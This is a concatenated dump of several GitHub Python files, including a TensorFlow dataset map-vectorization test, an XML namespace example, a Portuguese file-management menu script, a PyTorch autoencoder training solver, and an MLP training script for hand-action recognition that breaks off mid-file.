example_pb2.Example(\n features=feature_pb2.Features(\n feature={\n \"dense_int\": _int64_feature(i),\n \"dense_str\": _bytes_feature(str(i)),\n })).SerializeToString() for i in range(10)\n ]))\n\n def parse_single_example_fn(x):\n features = {\n \"dense_int\": parsing_ops.FixedLenFeature((), dtypes.int64, 0),\n \"dense_str\": parsing_ops.FixedLenFeature((), dtypes.string, \"\"),\n }\n return parsing_ops.parse_single_example(x, features)\n\n return parse_single_example_fn, parse_example_factory\n\n\ndef _generate_optimization_test_cases():\n\n def base_dataset_factory():\n return dataset_ops.Dataset.from_tensors(np.random.rand(10, 3)).repeat(5)\n\n rand_val = np.random.rand(1, 1, 1, 1, 1, 1)\n\n csv_test_case = _generate_csv_test_case()\n parse_fn, parse_base = _generate_parse_single_example_test_case()\n\n def dense_output_only_parse_fn(x):\n # Since we haven't implemented a vectorizer for SerializeSparse, any\n # function with sparse outputs will only be naively vectorized.\n parse_result = parse_fn(x)\n return [\n y for y in parse_result if not isinstance(y, sparse_tensor.SparseTensor)\n ]\n\n def map_fn_with_cycle(x):\n c = lambda i: math_ops.less(i, 10)\n b = lambda i: math_ops.add(i, 1)\n return control_flow_ops.while_loop(c, b, [x])\n\n # Misc test cases\n test_cases = [\n (\"Basic\", lambda x: (x, x + 1), base_dataset_factory),\n (\"Broadcast\", lambda x: x + rand_val, base_dataset_factory),\n (\"Cycle\", map_fn_with_cycle, lambda: dataset_ops.Dataset.from_tensors(1)),\n (\"Const\", lambda x: 2, base_dataset_factory),\n (\"Cast\", lambda x: math_ops.cast(x, dtypes.float64),\n base_dataset_factory),\n (\"Reshape\", lambda x: array_ops.reshape(x, (-1, 30)),\n base_dataset_factory),\n (\"Transpose\", array_ops.transpose, base_dataset_factory),\n (\"Unpack\", array_ops.unstack, base_dataset_factory),\n (\"UnpackNegativeAxis\", lambda x: array_ops.unstack(x, axis=-1),\n base_dataset_factory),\n # Parsing ops\n (\"DecodeCSV\", csv_test_case[0], csv_test_case[1]),\n (\"ParseSingleExample\", parse_fn, parse_base),\n (\"ParseSingleExampleDenseOutputOnly\", dense_output_only_parse_fn,\n parse_base),\n ] + _generate_cwise_test_cases()\n\n return [{\n \"testcase_name\":\n x[0] + \"Parallel\" if num_parallel_calls is not None else x[0],\n \"map_fn\":\n x[1],\n \"base_dataset_factory\":\n x[2],\n \"num_parallel_calls\":\n num_parallel_calls\n } for x in test_cases for num_parallel_calls in (None, 12)]\n\n\n@test_util.run_all_in_graph_and_eager_modes\nclass MapVectorizationTest(test_base.DatasetTestBase, parameterized.TestCase):\n\n def _enable_map_vectorization(self, dataset, use_choose=True):\n options = dataset_ops.Options()\n opt_options = options.experimental_optimization\n opt_options.map_vectorization.enabled = True\n opt_options.map_vectorization.use_choose_fastest = use_choose\n return dataset.with_options(options)\n\n def _get_test_datasets(self,\n base_dataset,\n map_fn,\n num_parallel_calls=None,\n expect_optimized=True):\n \"\"\"Given base dataset and map fn, creates test datasets.\n\n Returns a tuple of (unoptimized dataset, optimized dataset). The\n unoptimized dataset has the assertion that Batch follows Map. The optimized\n dataset has the assertion that Map follows Batch, and has the\n \"map_vectorization\" optimization applied.\n\n Args:\n base_dataset: Input dataset to map->batch\n map_fn: Map function to use\n num_parallel_calls: (Optional.) num_parallel_calls argument for map\n expect_optimized: (Optional.) Whether we expect the optimization to take\n place, in which case we will assert that Batch is followed by Map,\n otherwise Map followed by Batch. Defaults to True.\n\n Returns:\n Tuple of (unoptimized dataset, optimized dataset).\n \"\"\"\n map_node_name = \"Map\" if num_parallel_calls is None else \"ParallelMap\"\n\n def _make_dataset(node_names):\n dataset = base_dataset.apply(optimization.assert_next(node_names))\n dataset = dataset.map(map_fn, num_parallel_calls)\n dataset = dataset.batch(100)\n options = dataset_ops.Options()\n options.experimental_optimization.apply_default_optimizations = False\n options.experimental_optimization.map_and_batch_fusion = False\n dataset = dataset.with_options(options)\n return dataset\n\n unoptimized = _make_dataset([map_node_name, \"BatchV2\"])\n # Note that because of the `ChooseDataset` fork, we can't use `assert_next`\n # to verify the optimization result.\n optimized = _make_dataset([\"ChooseFastestBranch\"] if expect_optimized else\n [map_node_name, \"BatchV2\"])\n optimized = self._enable_map_vectorization(optimized)\n return unoptimized, optimized\n\n @parameterized.named_parameters(_generate_optimization_test_cases())\n def testOptimization(self, map_fn, base_dataset_factory, num_parallel_calls):\n base_dataset = base_dataset_factory()\n unoptimized, optimized = self._get_test_datasets(base_dataset, map_fn,\n num_parallel_calls)\n self.assertDatasetsEqual(unoptimized, optimized)\n\n def testOptimizationBadMapFn(self):\n # Test map functions that give an error\n def map_fn(x):\n # x has leading dimension 5, this will raise an error\n return array_ops.gather(x, 10)\n\n with self.assertRaisesRegexp(errors.InvalidArgumentError,\n r\"indices = 10 is not in \\[0, 5\\)\"):\n base_dataset = dataset_ops.Dataset.range(5).repeat(5).batch(\n 5, drop_remainder=True)\n _, optimized = self._get_test_datasets(base_dataset, map_fn)\n nxt = dataset_ops.make_one_shot_iterator(optimized).get_next()\n self.evaluate(nxt)\n\n def testOptimizationWithCapturedInputs(self):\n # Tests that vectorization works with captured inputs.\n y = constant_op.constant(1, shape=(2,))\n z = constant_op.constant(2, shape=(2,))\n\n def map_fn(x):\n return x, y, z\n\n base_dataset = dataset_ops.Dataset.from_tensor_slices([[1, 2],\n [3, 4]]).repeat(5)\n unoptimized, optimized = self._get_test_datasets(\n base_dataset, map_fn, expect_optimized=True)\n self.assertDatasetsEqual(optimized, unoptimized)\n\n def testOptimizationWithMapAndBatchFusion(self):\n # Tests that vectorization works on fused map and batch.\n def map_fn(x):\n return x**2\n\n base_dataset = dataset_ops.Dataset.range(1000)\n options = dataset_ops.Options()\n options.experimental_optimization.apply_default_optimizations = False\n base_dataset = base_dataset.with_options(options)\n\n def _make_dataset(node_names):\n dataset = base_dataset.apply(optimization.assert_next(node_names))\n dataset = dataset.apply(batching.map_and_batch(map_fn, 100))\n return dataset\n\n unoptimized = _make_dataset([\"MapAndBatch\"])\n optimized = _make_dataset([\"ChooseFastestBranch\"])\n optimized = self._enable_map_vectorization(optimized)\n self.assertDatasetsEqual(optimized, unoptimized)\n\n @parameterized.named_parameters(\n (\"1\", True, True),\n (\"2\", True, False),\n (\"3\", False, True),\n (\"4\", False, False),\n )\n def testOptimizationWithChainedMapAndBatch(self, fuse_first, fuse_second):\n # Tests that vectorization works on chained map and batch functions.\n def map_fn(x):\n return x * 2\n\n unoptimized_seq = []\n\n def make_apply_fn(is_fused):\n if is_fused:\n unoptimized_seq.append(\"MapAndBatch\")\n\n def apply_fn(dataset):\n return dataset.apply(\n batching.map_and_batch(map_fn, 2, 12, drop_remainder=True))\n\n return apply_fn\n else:\n unoptimized_seq.extend([\"ParallelMap\", \"BatchV2\"])\n\n def apply_fn(dataset):\n return dataset.map(map_fn, 12).batch(2, drop_remainder=True)\n\n return apply_fn\n\n base_dataset = dataset_ops.Dataset.range(1000)\n options = dataset_ops.Options()\n options.experimental_optimization.apply_default_optimizations = False\n base_dataset = base_dataset.with_options(options)\n\n apply_fn_1 = make_apply_fn(fuse_first)\n apply_fn_2 = make_apply_fn(fuse_second)\n\n def make_dataset(node_names):\n dataset = base_dataset.apply(optimization.assert_next(node_names))\n dataset = apply_fn_1(dataset)\n dataset = apply_fn_2(dataset)\n return dataset\n\n unoptimized = make_dataset(unoptimized_seq)\n optimized = make_dataset([\"ChooseFastestBranch\", \"ChooseFastestBranch\"])\n optimized = self._enable_map_vectorization(optimized)\n self.assertDatasetsEqual(optimized, unoptimized)\n\n def testOptimizationIgnoreStateful(self):\n\n def map_fn(x):\n with ops.control_dependencies([check_ops.assert_equal(x, np.int64(0))]):\n return array_ops.identity(x)\n\n dataset = dataset_ops.Dataset.range(10)\n dataset = dataset.map(map_fn)\n dataset = dataset.batch(10)\n dataset = self._enable_map_vectorization(dataset, use_choose=False)\n with self.assertRaises(errors.InvalidArgumentError):\n get_next = self.getNext(dataset)\n self.evaluate(get_next())\n\n def testOptimizationIgnoreRagged(self):\n # Make sure we ignore inputs that might not be uniformly sized\n def map_fn(x):\n return array_ops.gather(x, np.int64(0))\n\n # output_shape = (?,)\n base_dataset = dataset_ops.Dataset.range(20).batch(3, drop_remainder=False)\n unoptimized, optimized = self._get_test_datasets(\n base_dataset, map_fn, expect_optimized=False)\n self.assertDatasetsEqual(unoptimized, optimized)\n\n def testOptimizationIgnoreRaggedMap(self):\n # Don't optimize when the output of the map fn shapes are unknown.\n def map_fn(x):\n return array_ops.tile(x, x)\n\n dataset = dataset_ops.Dataset.range(10).batch(1)\n dataset = dataset.map(map_fn)\n dataset = dataset.batch(10)\n dataset = self._enable_map_vectorization(dataset, use_choose=False)\n with self.assertRaises(errors.InvalidArgumentError):\n get_next = self.getNext(dataset)\n self.evaluate(get_next())\n\n def testOptimizationWithUnknownBatchShape(self):\n tensor = sparse_tensor.SparseTensor(\n indices=[[0, 0], [1, 2]], values=[1, 2], dense_shape=[3, 4])\n\n # Datasets with sparse tensors have unknown output shapes.\n base_dataset = dataset_ops.Dataset.from_tensors(tensor)\n unoptimized = base_dataset.apply(batching.map_and_batch(lambda x: x, 2))\n options = dataset_ops.Options()\n options.experimental_optimization.apply_default_optimizations = False\n unoptimized = unoptimized.with_options(options)\n\n optimized = self._enable_map_vectorization(unoptimized)\n self.assertDatasetsEqual(unoptimized, optimized)\n\n def testOptimizationWithSparseTensor(self):\n base_dataset = dataset_ops.Dataset.from_tensors(0)\n\n def map_fn(x):\n del x\n return sparse_tensor.SparseTensor(\n indices=[[0, 0], [1, 2]], values=[1, 2], dense_shape=[3, 4])\n\n # Datasets with sparse tensors have unknown output shapes.\n unoptimized = base_dataset.apply(batching.map_and_batch(map_fn, 2))\n options = dataset_ops.Options()\n options.experimental_optimization.apply_default_optimizations = False\n unoptimized = unoptimized.with_options(options)\n optimized = self._enable_map_vectorization(unoptimized)\n self.assertDatasetsEqual(unoptimized, optimized)\n\n def testOptimizationWithPrefetch(self):\n dataset = dataset_ops.Dataset.range(10)\n dataset = dataset.map(lambda x: x)\n dataset = dataset.prefetch(1)\n dataset = dataset.batch(10)\n dataset = self._enable_map_vectorization(dataset)\n self.assertDatasetProduces(dataset, [list(range(10))])\n\n def testOptimizationWithoutChooseFastest(self):\n dataset = dataset_ops.Dataset.range(10)\n dataset = dataset.map(lambda x: x**2)\n dataset = dataset.batch(10)\n dataset = self._enable_map_vectorization(dataset, use_choose=False)\n self.assertDatasetProduces(dataset, [[x**2 for x in range(10)]])\n\n\nif __name__ == \"__main__\":\n test.main()\n","repo_name":"DeepRec-AI/DeepRec","sub_path":"tensorflow/python/data/experimental/kernel_tests/optimization/map_vectorization_test.py","file_name":"map_vectorization_test.py","file_ext":"py","file_size_in_byte":20039,"program_lang":"python","lang":"en","doc_type":"code","stars":895,"dataset":"github-code","pt":"31"} +{"seq_id":"35798117176","text":"# example.py\n# \n# Example of XML namespace handling\n\nfrom xml.etree.ElementTree import parse\n\nclass XMLNamespaces:\n def __init__(self, **kwargs):\n self.namespaces = {}\n for name, uri in kwargs.items():\n self.register(name, uri)\n def register(self, name, uri):\n self.namespaces[name] = '{'+uri+'}'\n def __call__(self, path):\n return path.format_map(self.namespaces)\n\ndoc = parse('sample.xml')\nns = XMLNamespaces(html='http://www.w3.org/1999/xhtml')\n\ne = doc.find(ns('content/{html}html'))\nprint(e)\n\ntext = doc.findtext(ns('content/{html}html/{html}head/{html}title'))\nprint(text)\n\n\n","repo_name":"dabeaz/python-cookbook","sub_path":"src/6/parsing_xml_documents_with_namespaces/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":3796,"dataset":"github-code","pt":"31"} +{"seq_id":"5510306875","text":"import os, shutil\n\nprint(\"########### MENU #############\")\nprint(\"\")\nprint(\"10- CRIAR PASTA \"\n \"20-REMOVER PASTA \"\n \"30- REMOVER SOMENTE ARQUIVOS \"\n \"40- LISTAR DIREORIO\"\n )\nprint(\"\")\n\nFuncao = int (input(\" Qual Função deseja Ultilizar ? \"))\n\n\nif Funcao == 10:\n print(\"1 PARA CRIAR A PASTA 5 PARA FECHAR A APLICAÇÃO\")\n def Criar_pasta():\n while True:\n option = int(input(\"Digite um numero ? \"))\n if option == 1:\n os.mkdir(input(\"Digite o nome para pasta : \"))\n print(\"PASTA CRIADA COM SUCESSO\")\n elif option != 3 or option != 5:\n print(\"Digite uma Opção Valida !!\")\n\n Criar_pasta()\n\nelif Funcao == 20:\n print(\"2 PARA REMOVER PASTA 5 PARA FECHAR A APLICAÇÃO ? \")\n def Remover_pasta():\n while True:\n option = int(input(\"Digite um numero ? \"))\n if option == 2:\n shutil.rmtree(input(\"Digite o nome da pasta ? \"))\n print(\"PASTA REMOVIDA COM SUCESSO\")\n elif option == 5:\n break\n elif option != 3 or option != 5:\n print(\"Digite uma Opção Valida !!\")\n\n Remover_pasta()\nelif Funcao == 30:\n print(\"3 PARA REMOVER ARQUIVOS 5 PARA FECHAR A APLICAÇÃO ? \")\n def Remover_arquivos():\n while True:\n option = int(input(\"Digite um numero ? \"))\n if option == 3:\n os.remove(input(\"Digite o nome do arquivo ? \"))\n print(\"ARQUIVOS REMOVIDOS COM SUCESSO\")\n elif option == 5:\n break\n elif option != 3 or option != 5:\n print(\"Digite uma Opção Valida !!\")\n Remover_arquivos()\n\nelif Funcao == 40:\n print(\"4 PARA LISTAR DIRETORIOS 5 PARA FECHAR A APLICAÇÃO ? \")\n def Listar_diretorio():\n while True:\n option = int(input(\"Digite um numero ? \"))\n if option == 4:\n list_diretorio = os.listdir()\n print(list_diretorio)\n elif option == 5:\n break\n elif option != 3 or option != 5:\n print(\"Digite uma Opção Valida !!\")\n Listar_diretorio()","repo_name":"Mat3uslma/Scripts_python","sub_path":"teste.py","file_name":"teste.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39314140850","text":"from __future__ import (division, unicode_literals)\n\nimport sys\n\nimport witness as wit\nimport witness.fuzzy\nimport witness.table\nimport witness.tools\n\nassert sys.version_info >= (2, 7)\n\n\nclass backend(object):\n def __init__(self, parent):\n self.parent = parent\n self.reset()\n\n def reset(self):\n raise NotImplementedError\n\n def learn(self, evidences, history=None):\n raise NotImplementedError\n\n def query(self, evidences):\n raise NotImplementedError\n\n def submit(self, evidences):\n raise NotImplementedError\n\n\nclass oracle(object):\n def __init__(self, backend_class, *kargs, **kwargs):\n self.backend = backend_class(parent=self, *kargs, **kwargs)\n self.backend_class = backend_class\n self.reset(tables=True)\n\n def add_tables(self, tables):\n tables = wit.tools.listify(tables)\n for table in tables:\n table.reset(oracle=True)\n table.oracle = self\n self.tables.append(table)\n\n def add_labels(self, labels):\n labels = wit.tools.listify(labels)\n for label in labels:\n label.reset(oracle=True)\n label.oracle = self\n self.labels.append(label)\n\n def reset(self, tables=False, backend=True):\n if backend:\n self.backend.reset()\n if tables:\n self.tables = []\n self.labels = []\n\n def digest_data(self, _input, inverse=False):\n _input = wit.tools.listify(_input)\n _output = []\n for table in self.tables:\n _output += table.digest(_input, inverse=inverse)\n return _output\n\n def digest_labels(self, labels, inverse=False):\n labels = wit.tools.listify(labels)\n _output = []\n for table in self.labels:\n _output += table.digest(labels, inverse=inverse)\n return _output\n\n def digest(self, various, try_data=False):\n various = wit.tools.listify(various)\n _outputs = []\n for v in various:\n if isinstance(v, wit.fuzzy.evidence):\n _outputs.append(v)\n continue\n\n if wit.tools.is_string(v):\n _output = self.digest_labels(v)\n if len(_output) > 0:\n _outputs += _output\n continue\n\n if try_data:\n _output = self.digest_data(v)\n if len(_output) > 0:\n _outputs += _output\n continue\n\n return _outputs\n\n def submit(self, various):\n self.backend.submit(self.digest(various))\n\n def submit_data(self, _input):\n self.submit(self.digest_data(_input))\n\n def submit_labels(self, labels):\n self.submit(self.digest_labels(labels))\n\n def learn(self, answers, history=None, try_data=False):\n answers = wit.tools.listify(answers)\n _answers = self.digest(answers, try_data=try_data)\n _history = None\n if history is not None:\n _history = self.digest(history, try_data=try_data)\n self.backend.learn(_answers, history=_history)\n\n def query(self, queries, inverse_answer=True, try_data=False):\n queries = wit.tools.listify(queries)\n _queries = self.digest(queries, try_data=try_data)\n _answers = self.backend.query(_queries)\n if inverse_answer:\n return self.digest_labels(_answers, inverse=True)\n else:\n return _answers\n\n\nnew = oracle\n","repo_name":"plcp/witness","sub_path":"witness/oracle.py","file_name":"oracle.py","file_ext":"py","file_size_in_byte":3467,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"42334018162","text":"\"\"\"solver.py\"\"\"\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nimport numpy as np\n\nimport os\nfrom tqdm import tqdm\nimport visdom\n\nimport torch\nimport torch.optim as optim\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom torchvision.utils import make_grid, save_image\n\nfrom utils import cuda, grid2gif\nimport model\nfrom data_loader import data_loader\nfrom PIL import Image\nimport torch.nn as nn\nimport functools\nimport networks\nfrom torchvision import transforms\n\nclass Solver(object):\n def __init__(self, args):\n self.use_cuda = args.cuda and torch.cuda.is_available()\n self.max_iter = args.max_iter\n # self.global_iter = 0\n\n self.z_dim = args.z_dim\n self.beta = args.beta\n self.objective = args.objective\n self.model = args.model\n self.lr = args.lr\n self.beta1 = args.beta1\n self.beta2 = args.beta2\n # model params\n self.c_dim = args.c_dim\n self.image_size = args.image_size\n self.g_conv_dim = args.g_conv_dim\n self.g_repeat_num = args.g_repeat_num\n self.d_conv_dim = args.d_conv_dim\n self.d_repeat_num = args.d_repeat_num\n '''arrangement for each domain'''\n self.nc = 3\n self.decoder_dist = 'gaussian'\n self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n # model\n # self.Autoencoder = Generator(self.nc, self.g_conv_dim, self.g_repeat_num)\n self.Autoencoder = model.AE_H(z_dim=3)\n\n self.auto_optim = optim.Adam(list(self.Autoencoder.parameters()), lr=self.lr,betas=(self.beta1, self.beta2))\n # self.Autoencoder = BetaVAE_ilab(self.z_dim, self.nc)\n\n self.Autoencoder.to(self.device)\n\n self.batch_size = args.batch_size\n self.data_loader, self.val_loader = data_loader()\n\n def train(self):\n # self.net_mode(train=True)\n # Start training from scratch or resume training.\n self.global_iter = 0\n\n pbar = tqdm(total=self.max_iter)\n pbar.update(self.global_iter)\n for _ in range(10000):\n for _, (img, label) in enumerate(self.data_loader):\n # appe, pose, combine\n self.global_iter += 1\n pbar.update(1)\n\n img = Variable(cuda(img, self.use_cuda))\n\n ## 1. A B C seperate(first400: id last600 background)\n img_recon, img_z = self.Autoencoder(img)\n ''' refer 1: content, 2: size, 3: font-color, 4 back_color, 5 style'''\n\n \n img_recon_loss = torch.mean(torch.abs(img - img_recon))\n recon_loss = img_recon_loss\n\n vae_unsup_loss = recon_loss\n self.auto_optim.zero_grad()\n vae_unsup_loss.backward()\n self.auto_optim.step()\n log = open('log2.txt','a')\n log.write(\"epoch\"+str(self.global_iter)+':'+str(recon_loss.item()))\n log.write('\\n')\n img_z = img_z.to(torch.device('cpu'))\n log.write(str(label.tolist()) + \":\" + str(img_z.tolist()))\n log.write('\\n')\n log.close()\n if self.global_iter % 500 == 0:\n if not os.path.exists('/lab/tmpig23b/u/zhix/color_result3/'+str(self.global_iter)):\n os.makedirs('/lab/tmpig23b/u/zhix/color_result3/'+str(self.global_iter))\n for a in range(-10,10,2):\n for b in range(-10,10,2):\n for c in range(-10,10,2):\n m,n,l = a/10,b/10,c/10\n m,n,l = round(m,1),round(n,1),round(l,1)\n z_tmp = np.array([m,n,l])\n z = torch.from_numpy(z_tmp)\n z = z.view([1,3])\n z = z.to(torch.device('cuda'))\n z = z.float()\n img_new = self.Autoencoder._decode(z)\n filename = '/lab/tmpig23b/u/zhix/color_result3/' + str(self.global_iter) + '/' + str(m) +'_'+str(n)+'_'+str(l)+'.png'\n img_new = img_new.to(torch.device('cpu'))\n save_image(img_new, filename)\n\n for _, (img, label) in enumerate(self.val_loader):\n img = Variable(cuda(img, self.use_cuda))\n img_recon, img_z = self.Autoencoder(img)\n img_recon = img_recon.to(torch.device('cpu'))\n filename = '/lab/tmpig23b/u/zhix/color_result3/' + str(self.global_iter) + '/'+ \"recon_\"+str(label.item()) +'.png'\n save_image(img_recon,filename)\n\n pbar.write(\"[Training Finished]\")\n pbar.close()\n\n def net_mode(self, train):\n if not isinstance(train, bool):\n raise('Only bool type is supported. True or False')\n\n if train:\n self.net.train()\n else:\n self.net.eval()\n\n def save_checkpoint(state, filename='checkpoint.pth'):\n torch.save(state, filename)","repo_name":"gyhandy/Fonts","sub_path":"pure_color/solver_Nswap_fonts.py","file_name":"solver_Nswap_fonts.py","file_ext":"py","file_size_in_byte":5194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40832148202","text":"# Adapted from https://github.com/pytorch/examples/blob/master/imagenet/main.py\nimport argparse\nimport os\nimport shutil\nimport time\nimport numpy as np\nimport math\n\nimport torch\nimport torch.nn as nn\nimport torch.backends.cudnn as cudnn\nimport torch.optim\nimport torch.utils.data\n\nimport FPHA_dataset\n\n\nfrom tensorboardX import SummaryWriter\n\nparser = argparse.ArgumentParser(description='STGST MLP')\nparser.add_argument('--epochs', default=1000, type= int, metavar='N', help='number of total epochs')\nparser.add_argument('--start-epoch', default=0, type=int, metavar='N', help='manual epoch number (useful on restarts)')\nparser.add_argument('--workers',default=2,type=int, metavar='N')\nparser.add_argument('--num_classes', default=45, type=int, metavar='N')\nparser.add_argument('-b', '--batch_size',default=16, type=int,metavar='N')\nparser.add_argument('--lr',default=0.001,type = float, metavar='LR')\nparser.add_argument('--momentum', default=0.9, type=float, metavar='M', help='momentum')\nparser.add_argument('--weight-decay', '--wd', default=1e-4, type=float, metavar='W',\n help='weight decay (default: 1e-4)')\nparser.add_argument('--print-freq', default=80, type=int, metavar='N', help='print frequency (default: 10)')\nparser.add_argument('--sum_freq', default=40, type=int, metavar='N', help='print frequency (default: 40)')\nparser.add_argument('--save_freq', default=1, type=int, metavar='N', help='save checkpoint frequency (default: 5)')\nparser.add_argument('--resume', default='', type=str, metavar='PATH', help='path to latest checkpoint (default: none)')\nparser.add_argument('-sp', '--summary_path', default='', type=str, metavar='PATH', help='path to store summary event file')\nparser.add_argument('-cp','--checkpoint_path', default='', type=str, metavar='PATH', help='path to store checkpoint')\nparser.add_argument('-op', '--output_path', default='', type=str, metavar='PATH', help='path to store test output')\nparser.add_argument('--suffix', default ='', type = str, help = 'suffix of summmary and checkpoint dir')\nparser.add_argument('--lr_path', default='', type=str, metavar='PATH', help='path to lr file')\n\nparser.add_argument('--optimizer', type=str)\nparser.add_argument('--dataroot', type = str,\n metavar='PATH',help='path to image data root')\nparser.add_argument('--thres', type = float,\n help = 'threshold for scattering tree pruning')\n# parser.add_argument('-e', '--evaluate', dest='evaluate', action='store_true', help='evaluate model on validation set')\n\n\n# class MLPs(nn.Module):\n# def __init__(self, class_num=20, midnum = 256, nodeNum=None):\n# super(MLPs, self).__init__()\n# self.nodeNum = nodeNum\n# self.mlp1 = nn.Linear(in_features=self.nodeNum*63, out_features=midnum, bias=True)\n# self.mlp2 = nn.Linear(in_features=midnum, out_features=class_num, bias=True)\n# self.relu = nn.ReLU()\n# # self.sigmoid = nn.Sigmoid()\n\n# def forward(self, x):\n# x = self.mlp1(x)\n# x = self.relu(x)\n# x = self.mlp2(x)\n# return x\n\n# class MLPs(nn.Module):\n# def __init__(self, class_num=20, midnum = 256, nodeNum=None):\n# super(MLPs, self).__init__()\n# self.nodeNum = nodeNum\n# self.mlp1 = nn.Linear(in_features=self.nodeNum*63, out_features=midnum, bias=True)\n# self.bn1 = nn.BatchNorm1d(num_features=midnum)\n# self.mlp2 = nn.Linear(in_features=midnum, out_features=class_num, bias=True)\n# self.relu = nn.ReLU()\n# # self.sigmoid = nn.Sigmoid()\n\n# def forward(self, x):\n# x = self.mlp1(x)\n# x = self.bn1(x)\n# x = self.relu(x)\n# x = self.mlp2(x)\n# return x\n\nclass MLPs(nn.Module):\n def __init__(self, class_num=20, midnum = 128, nodeNum=None):\n super(MLPs, self).__init__()\n self.nodeNum = nodeNum\n self.mlp1 = nn.Linear(in_features=self.nodeNum*63, out_features=midnum, bias=True)\n self.dropout1 = nn.Dropout(0.5)\n self.mlp2 = nn.Linear(in_features=midnum, out_features=class_num, bias=True)\n self.relu = nn.ReLU()\n\n\n def forward(self, x):\n x = self.mlp1(x)\n x = self.relu(x)\n x = self.dropout1(x)\n x = self.mlp2(x)\n return x\n\n\nbest_prec1 = 0\n\ndef main():\n global args, best_prec1, writer\n args = parser.parse_args()\n\n args.summary_path = os.path.join(args.summary_path, args.suffix)\n if not os.path.exists(args.summary_path):\n os.makedirs(args.summary_path)\n \n writer = SummaryWriter(args.summary_path)\n\n # args.checkpoint_path = os.path.join(args.checkpoint_path,args.suffix)\n # if not os.path.exists(args.checkpoint_path):\n # os.makedirs(args.checkpoint_path)\n\n # args.output_path = os.path.join(args.output_path, args.suffix)\n # if not os.path.exists(args.output_path):\n # os.makedirs(args.output_path)\n\n # model = inception_v3(pretrained=True)\n\n train_dataset = FPHA_dataset.FPHADataset(args.dataroot, split='train', thres=args.thres, normalize=True)\n test_dataset = FPHA_dataset.FPHADataset(args.dataroot, split='test', thres=args.thres, normalize=True)\n\n train_loader = torch.utils.data.DataLoader(train_dataset, batch_size=args.batch_size,\n shuffle=True, num_workers=args.workers, pin_memory=True)\n global epoch_len\n epoch_len = len(train_loader)\n test_loader = torch.utils.data.DataLoader(test_dataset,\n batch_size=args.batch_size, shuffle=False,\n num_workers=args.workers, pin_memory=True)\n\n model = MLPs(class_num=args.num_classes, midnum=128, nodeNum=train_dataset.nodeNum).cuda()\n print('Reserve Node Num:', train_dataset.nodeNum)\n # define loss function (criterion) and optimizer\n criterion = nn.CrossEntropyLoss().cuda()\n\n if args.optimizer == 'adam':\n optimizer = torch.optim.Adam(model.parameters(),\n args.lr,\n weight_decay=args.weight_decay)\n elif args.optimizer == 'sgd':\n optimizer = torch.optim.SGD(model.parameters(),\n args.lr,\n momentum=args.momentum,\n weight_decay=args.weight_decay,\n nesterov=False)\n\n # optionally resume from a checkpoint\n if args.resume:\n if os.path.isfile(args.resume):\n print(\"=> loading checkpoint '{}'\".format(args.resume))\n checkpoint = torch.load(args.resume)\n args.start_epoch = checkpoint['epoch']\n best_prec1 = checkpoint['best_prec1']\n model.load_state_dict(checkpoint['model_state'])\n optimizer.load_state_dict(checkpoint['optimizer'])\n print(\"=> loaded checkpoint '{}' (epoch {})\"\n .format(args.resume, checkpoint['epoch']))\n else:\n print(\"=> no checkpoint found at '{}'\".format(args.resume))\n raise RuntimeError()\n\n cudnn.benchmark = True\n\n for epoch in range(args.start_epoch, args.epochs):\n adjust_learning_rate(optimizer, epoch, args.lr_path)\n\n # train for one epoch\n train(train_loader, model, criterion, optimizer, epoch)\n\n # evaluate on validation set\n acc1 = evaluate(test_loader, model, criterion, epoch)\n\n # remember best prec@1 and save checkpoint\n # is_best = prec1 > best_prec1\n # best_prec1 = max(prec1, best_prec1)\n # save_checkpoint({\n # 'epoch': epoch + 1,\n # #'arch': args.arch,\n # 'model_state': model.state_dict(),\n # 'best_prec1': best_prec1,\n # 'optimizer' : optimizer.state_dict(),\n # }, is_best, epoch)\n\n\ndef train(trainloader, model, criterion, optimizer, epoch):\n\n # batch_time = AverageMeter()\n # data_time = AverageMeter()\n lossM = AverageMeter()\n acc1M = AverageMeter()\n\n model.train()\n\n end = time.time()\n\n for i, (input, target) in enumerate(trainloader):\n # measure data loading time\n # data_time.update(time.time() - end)\n\n input, target = input.cuda(), target.cuda()\n\n # compute output\n output = model(input)\n loss = criterion(output, target)\n\n # measure accuracy and record loss\n acc1 = accuracy(output.detach(), target)[0]\n lossM.update(loss.item(), input.size(0))\n acc1M.update(acc1.item(), input.size(0))\n\n # compute gradient and do SGD step\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n # measure elapsed time\n # batch_time.update(time.time() - end)\n # end = time.time()\n\n # if i % args.print_freq == 0:\n # print('Epoch: [{0}][{1}/{2}]\\t'\n # 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n # 'Data {data_time.val:.3f} ({data_time.avg:.3f})\\t'\n # 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'\n # 'Prec {top1.val:.3f}% ({top1.avg:.3f}%)'.format(\n # epoch, i, len(trainloader), batch_time=batch_time,\n # data_time=data_time, loss=losses, top1=top1))\n\n # global_step = epoch * epoch_len + i\n # if i % args.sum_freq == 0:\n # writer.add_scalar('train_loss', loss.item(), global_step)\n # writer.add_scalar('train_prec', prec.item(), global_step)\n # global_step = epoch * epoch_len + epoch_len - 1\n writer.add_scalar('epochavg_train_loss', lossM.avg, epoch)\n writer.add_scalar('epochavg_train_acc1', acc1M.avg, epoch)\n\n\n\ndef evaluate(testloader, model, criterion, epoch):\n # epoch < 0 means no summary\n # batch_time = AverageMeter()\n lossM = AverageMeter()\n acc1M = AverageMeter()\n\n # switch to evaluate mode\n model.eval()\n\n end = time.time()\n for i, (input, target) in enumerate(testloader):\n input, target = input.cuda(), target.cuda()\n\n # compute output\n output = model(input)\n loss = criterion(output, target)\n\n # measure accuracy and record loss\n acc1 = accuracy(output.detach(), target)[0]\n lossM.update(loss.item(), input.size(0))\n acc1M.update(acc1.item(), input.size(0))\n\n # measure elapsed time\n # batch_time.update(time.time() - end)\n # end = time.time()\n\n # if i % args.print_freq == 0:\n # print('Test: [{0}/{1}]\\t'\n # 'Time {batch_time.val:.3f} 